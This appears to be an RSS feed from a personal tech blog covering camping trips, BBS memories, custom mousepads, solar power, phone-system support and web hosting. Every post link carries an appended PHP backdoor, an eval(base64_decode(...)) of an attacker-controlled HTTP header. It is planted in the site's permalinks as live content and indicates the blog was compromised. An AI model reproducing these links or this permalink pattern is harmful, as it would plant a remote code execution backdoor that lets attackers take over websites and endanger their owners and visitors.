http://www.techienation.com "If all the worlds a stage, then the TECHIE must be god" Sun, 23 May 2010 15:01:58 +0000 http://backend.userland.com/rss092 en I run another website that is meant to finance the cost of hosting all my other non-profit sites, like this one. If you work in a call center, then I've got something for you! YOURmousepad.ca has a line of call center related mousepads for sale! These mousepads were specifically ... http://www.techienation.com/2010/05/23/do-you-work-in-a-call-center/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The next 5 people that write a comment on this post will get free mousepads with whatever image you provide me printed on it and shipped to you, anywhere in the world. Because of demotivationalpics.com (a website I inherited a couple of years ago) I'm equipped with a Heat Press ... http://www.techienation.com/2010/03/22/free-custom-mousepads-for-the-next-5-commenters/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.techienation.com/2009/10/02/self-sufficiency/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Its a great thing to wake up on your birthday in a national park. Yay for =camping!!!= http://www.techienation.com/2009/06/06/birthday-morning-camping/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I have spent the last couple of days camping in oka with my lovely girlfriend Marina. I am still there actually and am writing this blog post from my cell phone! As usual, we are having a great time! Using the list of camp grounds we ... http://www.techienation.com/2009/06/05/camping-in-oka-once-again/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.techienation.com/2009/06/04/our-current-camping-setup/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Camping Season is back !  This year Marina and I reserved our camping spot at Oka National Park months in advance to make sure we get a spot we like.  A few weeks before it's time to leave, I realize I still don't have a car to get there.  It ... http://www.techienation.com/2009/05/29/the-ham-mobile/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Since this blog is populated mostly by Techie's, I assume lots of you remember the days of the BBS's. (Bulletin Board Systems) For those of you who don't remember but are over 25, shame on you.  ;) The BBS Days were some of the best times of my life.  I ... http://www.techienation.com/2009/03/11/remembering-the-bbs-days/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ This article describes a portable shower that I designed that can be folded up and fit under a bed.  It requires no electricity, and no water hook-ups. (no water pressure)   It only requires a bucket of water. (Ideally warm) :) It can be modified to work great for camping and ... http://www.techienation.com/2009/01/01/collapsible-shower-for-camping-cabins-rvs-and-off-grid-homes/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I just wanted to take this quick moment to wish everyone and every techie a very happy holiday season !! Thank you for visiting TechieNATION in this past year, and I hope to hear from all of you over the new year ! http://www.techienation.com/2008/12/26/merry-xmas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As most of you already know, I have another very popular website called demotivationalpics.com.  I took over this site when it had under 200 demotivational pictures, and it now has well over 2000. I now get over 20,000 page loads every day. I have spent the last 3 days installing imagemagick ... http://www.techienation.com/2008/12/12/demotivational-picture-generator/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ After a year of using a cell phone that hangs up on half the people that call me, my cell phone contract has finally expired and it's time to get a new phone at a huge discount. My Cell phone carrier, Fido, has never sold blackberry services. (Which is strange because ... http://www.techienation.com/2008/12/01/samsung-jack-cell-phone-review/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I'm a phone technician in Montreal, Quebec, Canada.  I see new server rooms almost every day.  Some are very impressive, others are standard, some are just horrible. I've decided to mix my day job with TechieNATION a little bit.  Every week, I will post pictures of one of the server rooms ... http://www.techienation.com/2008/12/01/coming-soon-server-room-of-the-week/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As most of you know my full time job is as a Phone Technician.  I install, service, and troubleshoot Meridian Norstar* phone systems and all voicemail systems that go along with them.  My site for this, www.telinpho.com has lots of programming tips and tricks. The most popular part of this site ... http://www.techienation.com/2008/11/23/free-tech-support-for-norstar-phone-systems-and-voicemail/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Everyone knows about "being green", but very little people actually do anything about it.  Have you considered the potential opportunities that it may open up to you at your work, in your community, and at home ? You might be surprised.  In my case, simply doing what I've written below ... http://www.techienation.com/2008/11/16/the-benefits-of-being-green/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ On November 8th, 2008 at 12:58 pm Eastern Standard Time geocachers worldwide took part in Flash Mobs at various locations.  The Wikipedia describes a flash mob as "a large group of people who assemble suddenly in a public place, perform an unusual action for a brief time, then quickly disperse." I ... http://www.techienation.com/2008/11/15/world-wide-flash-mob-wwfm-geocaching/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ I apologize for the lack of posts recently.  I have been very busy. A small preview of posts to come : WWFM Laval : World Wide Flash Mob organized by geocachers all around the world.  This was very interesting. Toll Fraud : After over 10 years of working as a phone tech, I've ... http://www.techienation.com/2008/11/11/sorry/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ As far as Solar Power goes, 80% of everything comes down to this. People try and figure out how many batteries and solar panels they need before they know how much power they use. This is the most basic part, and one of the longest. However once you have that ... http://www.techienation.com/2008/10/19/solar-power-math-explained-and-simplified/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Over the years, I've tried a few different web hosting companies and have realized the importance of getting a good one.  My biggest complaint for most places is the tech support. All the web hosts will give you some kind of service, but it's how fast they react when something ... http://www.techienation.com/2008/10/19/choosing-your-web-hosting-provider/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Stumble Upon is a great website / toolbar that is used to bring you to websites you've never heard of yet fall into your range of things that you're interested in.  When you sign up to Stumble Upon, (for free) you select the categories of the pages you're willing to ... http://www.techienation.com/2008/10/18/damn-you-stumble-upon/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/